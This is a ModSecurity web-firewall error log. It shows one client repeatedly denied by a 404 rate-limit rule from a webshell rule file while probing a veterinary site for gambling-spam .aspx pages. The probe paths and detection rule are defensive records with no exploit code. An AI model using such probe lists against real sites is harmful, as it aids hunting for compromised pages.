[Sat Feb 14 21:09:42.452323 2026] [:error] [pid 39454:tid 39461] [client 51.83.237.175:46690] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aZB0Fof01uYc0DFDtzvZSQAAAcI"]
[Sat Feb 14 21:09:44.068590 2026] [:error] [pid 39456:tid 39494] [client 51.83.237.175:46696] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZB0GIKeIqKLynHIGnjdlwAAAkg"]
[Sat Feb 14 21:09:45.098014 2026] [:error] [pid 39456:tid 39496] [client 51.83.237.175:46698] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZB0GYKeIqKLynHIGnjdmwAAAko"]
[Sat Feb 14 21:09:46.066939 2026] [:error] [pid 53979:tid 53984] [client 51.83.237.175:46706] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZB0Gofb_0QPnk6UIuNXlgAAAYE"]
[Sat Feb 14 21:09:46.916635 2026] [:error] [pid 26150:tid 26158] [client 51.83.237.175:46714] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aZB0GqqmPH3D5QJaUSHTeAAAAIQ"]
[Sat Feb 14 21:09:47.953721 2026] [:error] [pid 39456:tid 39499] [client 51.83.237.175:39156] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aZB0G4KeIqKLynHIGnjdnwAAAk0"]
[Sat Feb 14 21:09:49.796320 2026] [:error] [pid 50339:tid 50394] [client 51.83.237.175:39184] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aZB0HcI6TclQ9GOl2Y17FQAAAhg"]
[Sat Feb 14 21:09:50.474422 2026] [:error] [pid 50339:tid 50372] [client 51.83.237.175:39170] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZB0HsI6TclQ9GOl2Y17FwAAAgI"]
[Sat Feb 14 21:09:50.887983 2026] [:error] [pid 50339:tid 50379] [client 51.83.237.175:39186] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aZB0HsI6TclQ9GOl2Y17GQAAAgk"]
[Sat Feb 14 21:10:11.402509 2026] [:error] [pid 36219:tid 36261] [client 51.83.237.175:39198] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aZB0M5e-m2OpEy0FNjhdkQAAA40"]
[Sat Feb 14 21:10:14.038020 2026] [:error] [pid 36219:tid 36262] [client 51.83.237.175:59088] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aZB0Npe-m2OpEy0FNjhdkwAAA44"]
[Sat Feb 14 21:10:16.909302 2026] [:error] [pid 39456:tid 39500] [client 51.83.237.175:59102] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZB0OIKeIqKLynHIGnjdwAAAAk4"]
[Sat Feb 14 21:10:17.000578 2026] [:error] [pid 39456:tid 39488] [client 51.83.237.175:59092] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZB0OIKeIqKLynHIGnjdwQAAAkI"]
[Sat Feb 14 21:10:19.973756 2026] [:error] [pid 53979:tid 54006] [client 51.83.237.175:43744] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZB0O4fb_0QPnk6UIuNXqAAAAZc"]
[Sat Feb 14 21:10:22.817075 2026] [:error] [pid 36219:tid 36255] [client 51.83.237.175:43758] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZB0Ppe-m2OpEy0FNjhdnAAAA4c"]
[Sat Feb 14 21:10:28.853925 2026] [:error] [pid 53980:tid 54014] [client 51.83.237.175:57008] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZB0RNposYBT7xU8oxTH3wAAAsQ"]
[Sat Feb 14 21:10:32.304453 2026] [:error] [pid 36056:tid 36076] [client 51.83.237.175:57010] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZB0SLv3wQbSPS1vpOghGQAAABI"]
[Sat Feb 14 21:10:39.559099 2026] [:error] [pid 26150:tid 26159] [client 51.83.237.175:50020] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZB0T6qmPH3D5QJaUSHTlwAAAIU"]
[Sat Feb 14 21:10:42.465714 2026] [:error] [pid 26150:tid 26167] [client 51.83.237.175:50034] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZB0UqqmPH3D5QJaUSHTmwAAAI0"]
[Sat Feb 14 21:10:46.749827 2026] [:error] [pid 26150:tid 26162] [client 51.83.237.175:50048] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aZB0VqqmPH3D5QJaUSHToQAAAIg"]
[Sat Feb 14 21:10:50.845903 2026] [:error] [pid 39454:tid 39473] [client 51.83.237.175:41878] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aZB0Wof01uYc0DFDtzvZYgAAAc4"]
[Sat Feb 14 21:10:55.922721 2026] [:error] [pid 53981:tid 54053] [client 51.83.237.175:41884] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZB0X9Gxz-sjlGLnWnvTFgAAA1A"]
[Sat Feb 14 21:11:01.583923 2026] [:error] [pid 26150:tid 26163] [client 51.83.237.175:46326] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aZB0ZaqmPH3D5QJaUSHTqgAAAIk"]
[Sat Feb 14 21:11:05.331851 2026] [:error] [pid 53979:tid 53983] [client 51.83.237.175:46334] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZB0aYfb_0QPnk6UIuNXwwAAAYA"]
[Sat Feb 14 21:26:31.724901 2026] [:error] [pid 36056:tid 36077] [client 51.83.237.175:42798] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZB4B7v3wQbSPS1vpOgjuwAAABM"]
[Sat Feb 14 21:26:34.773108 2026] [:error] [pid 50339:tid 50375] [client 51.83.237.175:51610] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZB4CsI6TclQ9GOl2Y1-fgAAAgU"]
[Sat Feb 14 21:26:37.765985 2026] [:error] [pid 39456:tid 39504] [client 51.83.237.175:37562] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZB4DYKeIqKLynHIGnjiFgAAAlI"]
[Sat Feb 14 21:26:40.448517 2026] [:error] [pid 39456:tid 39510] [client 51.83.237.175:37574] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZB4EIKeIqKLynHIGnjiJgAAAlg"]
[Sat Feb 14 21:26:43.110220 2026] [:error] [pid 50339:tid 50377] [client 51.83.237.175:37586] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZB4E8I6TclQ9GOl2Y1-hgAAAgc"]
[Sat Feb 14 21:26:46.066764 2026] [:error] [pid 39456:tid 39492] [client 51.83.237.175:37598] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZB4FoKeIqKLynHIGnjiMgAAAkY"]
[Sat Feb 14 21:26:48.715347 2026] [:error] [pid 53979:tid 53995] [client 51.83.237.175:38704] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZB4GIfb_0QPnk6UIuNZ0AAAAYw"]
[Sat Feb 14 21:26:51.073762 2026] [:error] [pid 53979:tid 54003] [client 51.83.237.175:38710] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZB4G4fb_0QPnk6UIuNZ0gAAAZQ"]
[Sat Feb 14 21:26:53.437585 2026] [:error] [pid 53920:tid 53972] [client 51.83.237.175:38712] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aZB4HSrmNDNQ_-GD91KFtwAAAVc"]
[Sat Feb 14 21:26:56.132894 2026] [:error] [pid 39454:tid 39460] [client 51.83.237.175:38716] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aZB4IIf01uYc0DFDtzvcDQAAAcE"]
[Sat Feb 14 21:26:58.692777 2026] [:error] [pid 39456:tid 39508] [client 51.83.237.175:33822] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZB4IoKeIqKLynHIGnjiOQAAAlY"]
[Sat Feb 14 21:27:01.215296 2026] [:error] [pid 36219:tid 36266] [client 51.83.237.175:33824] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZB4JZe-m2OpEy0FNjhgOgAAA5I"]
[Sat Feb 14 21:27:03.643905 2026] [:error] [pid 39456:tid 39507] [client 51.83.237.175:33832] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZB4J4KeIqKLynHIGnjiPwAAAlU"]
[Sat Feb 14 21:27:06.189183 2026] [:error] [pid 53920:tid 53952] [client 51.83.237.175:33844] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZB4KirmNDNQ_-GD91KFuwAAAUM"]
[Sat Feb 14 21:27:08.710881 2026] [:error] [pid 53979:tid 54003] [client 51.83.237.175:44998] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZB4LIfb_0QPnk6UIuNZ3AAAAZQ"]
[Sat Feb 14 21:27:11.253941 2026] [:error] [pid 53979:tid 53996] [client 51.83.237.175:45002] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aZB4L4fb_0QPnk6UIuNZ3gAAAY0"]
[Sat Feb 14 21:27:13.587017 2026] [:error] [pid 39456:tid 39505] [client 51.83.237.175:45018] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZB4MYKeIqKLynHIGnjiTQAAAlM"]
[Sat Feb 14 21:27:16.087697 2026] [:error] [pid 53920:tid 53965] [client 51.83.237.175:45030] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZB4NCrmNDNQ_-GD91KFxQAAAVA"]
[Sat Feb 14 21:27:18.588845 2026] [:error] [pid 39456:tid 39487] [client 51.83.237.175:33786] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aZB4NoKeIqKLynHIGnjiWwAAAkE"]
[Sat Feb 14 21:27:21.133763 2026] [:error] [pid 53980:tid 54012] [client 51.83.237.175:33802] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aZB4OdposYBT7xU8oxTKcgAAAsI"]
[Sat Feb 14 21:27:23.667737 2026] [:error] [pid 39456:tid 39494] [client 51.83.237.175:33804] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aZB4O4KeIqKLynHIGnjiYwAAAkg"]
[Sat Feb 14 21:28:02.536330 2026] [:error] [pid 26150:tid 26164] [client 51.83.237.175:33806] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZB4YqqmPH3D5QJaUSHXFgAAAIo"]
[Sat Feb 14 21:28:05.136908 2026] [:error] [pid 26150:tid 26171] [client 51.83.237.175:57870] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZB4ZaqmPH3D5QJaUSHXGQAAAJE"]
[Sat Feb 14 21:28:07.603885 2026] [:error] [pid 39454:tid 39472] [client 51.83.237.175:55168] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZB4Z4f01uYc0DFDtzvcUAAAAc0"]
[Sat Feb 14 21:28:10.024889 2026] [:error] [pid 39454:tid 39468] [client 51.83.237.175:55182] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZB4aof01uYc0DFDtzvcUwAAAck"]
[Sat Feb 14 21:28:12.503247 2026] [:error] [pid 26150:tid 26157] [client 51.83.237.175:55196] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZB4bKqmPH3D5QJaUSHXIQAAAIM"]
[Sat Feb 14 21:28:15.291165 2026] [:error] [pid 50339:tid 50378] [client 51.83.237.175:55198] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZB4b8I6TclQ9GOl2Y1--QAAAgg"]
[Sat Feb 14 21:28:17.822100 2026] [:error] [pid 39456:tid 39490] [client 51.83.237.175:55578] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZB4cYKeIqKLynHIGnjivgAAAkQ"]
[Sat Feb 14 21:28:20.238085 2026] [:error] [pid 50339:tid 50370] [client 51.83.237.175:55580] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZB4dMI6TclQ9GOl2Y1-_gAAAgA"]
[Sat Feb 14 21:28:22.763240 2026] [:error] [pid 50339:tid 50377] [client 51.83.237.175:55582] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZB4dsI6TclQ9GOl2Y1-_wAAAgc"]
[Sat Feb 14 21:28:25.182760 2026] [:error] [pid 39454:tid 39467] [client 51.83.237.175:55588] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZB4eYf01uYc0DFDtzvcWAAAAcg"]
